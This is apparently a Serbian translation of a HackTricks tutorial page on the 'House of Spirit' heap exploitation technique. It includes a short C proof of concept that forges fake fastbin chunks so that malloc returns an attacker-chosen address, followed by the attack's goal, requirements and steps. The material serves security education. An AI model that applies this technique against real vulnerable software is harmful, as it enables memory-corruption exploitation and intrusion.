mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 06:30:37 +00:00
100 lines
4.2 KiB
Markdown
100 lines
4.2 KiB
Markdown
|
# Kuća duha
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
|
||
|
Drugi načini podrške HackTricks-u:
|
||
|
|
||
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||
|
|
||
|
</details>
|
||
|
|
||
|
## Osnovne informacije
|
||
|
|
||
|
### Kod
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Kuća duha</summary>
|
||
|
```c
|
||
|
#include <unistd.h>
|
||
|
#include <stdlib.h>
|
||
|
#include <string.h>
|
||
|
#include <stdio.h>
|
||
|
|
||
|
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
|
||
|
|
||
|
struct fast_chunk {
|
||
|
size_t prev_size;
|
||
|
size_t size;
|
||
|
struct fast_chunk *fd;
|
||
|
struct fast_chunk *bk;
|
||
|
char buf[0x20]; // chunk falls in fastbin size range
|
||
|
};
|
||
|
|
||
|
int main() {
|
||
|
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
|
||
|
void *ptr, *victim;
|
||
|
|
||
|
ptr = malloc(0x30);
|
||
|
|
||
|
printf("Original alloc address: %p\n", ptr);
|
||
|
printf("Main fake chunk:%p\n", &fake_chunks[0]);
|
||
|
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
|
||
|
|
||
|
// Passes size check of "free(): invalid size"
|
||
|
fake_chunks[0].size = sizeof(struct fast_chunk);
|
||
|
|
||
|
// Passes "free(): invalid next size (fast)"
|
||
|
fake_chunks[1].size = sizeof(struct fast_chunk);
|
||
|
|
||
|
// Attacker overwrites a pointer that is about to be 'freed'
|
||
|
// Point to .fd as it's the start of the content of the chunk
|
||
|
ptr = (void *)&fake_chunks[0].fd;
|
||
|
|
||
|
free(ptr);
|
||
|
|
||
|
victim = malloc(0x30);
|
||
|
printf("Victim: %p\n", victim);
|
||
|
|
||
|
return 0;
|
||
|
}
|
||
|
```
|
||
|
</details>
|
||
|
|
||
|
### Cilj
|
||
|
|
||
|
* Biti u mogućnosti da se doda proizvoljna adresa u tcache / fast bin tako da se prilikom poziva malloc funkcije koristi u chunk-u
|
||
|
|
||
|
### Zahtevi
|
||
|
|
||
|
* Ovaj napad zahteva da napadač bude u mogućnosti da napravi nekoliko lažnih fast chunk-ova koji tačno pokazuju vrednost veličine i da prepiše fast chunk te veličine koji će biti oslobođen, tako da chunk napadača zapravo bude onaj koji ulazi u fast bin.
|
||
|
|
||
|
### Napad
|
||
|
|
||
|
* Kreirati lažni chunk koji zaobilazi sigurnosne provere (biće potrebna 2 lažna chunk-a)
|
||
|
* Pre nego što se pokazivač oslobodi, prepišite ga lažnim chunk-om tako da taj ulazi u bin
|
||
|
|
||
|
## Reference
|
||
|
|
||
|
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_spirit)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
|
||
|
Drugi načini podrške HackTricks-u:
|
||
|
|
||
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||
|
|
||
|
</details>
|